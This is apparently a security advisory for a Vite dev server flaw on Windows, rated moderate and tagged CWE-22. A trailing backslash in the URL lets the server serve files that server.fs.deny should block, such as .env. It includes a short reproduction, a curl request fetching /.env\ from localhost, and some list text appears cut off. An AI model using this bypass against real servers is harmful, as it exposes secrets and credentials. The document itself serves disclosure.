Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.
Only apps that match the following conditions are affected:
server.host config option)server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173
{
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-20T19:54:28Z",
"nvd_published_at": "2025-10-20T20:15:37Z",
"severity": "MODERATE"
}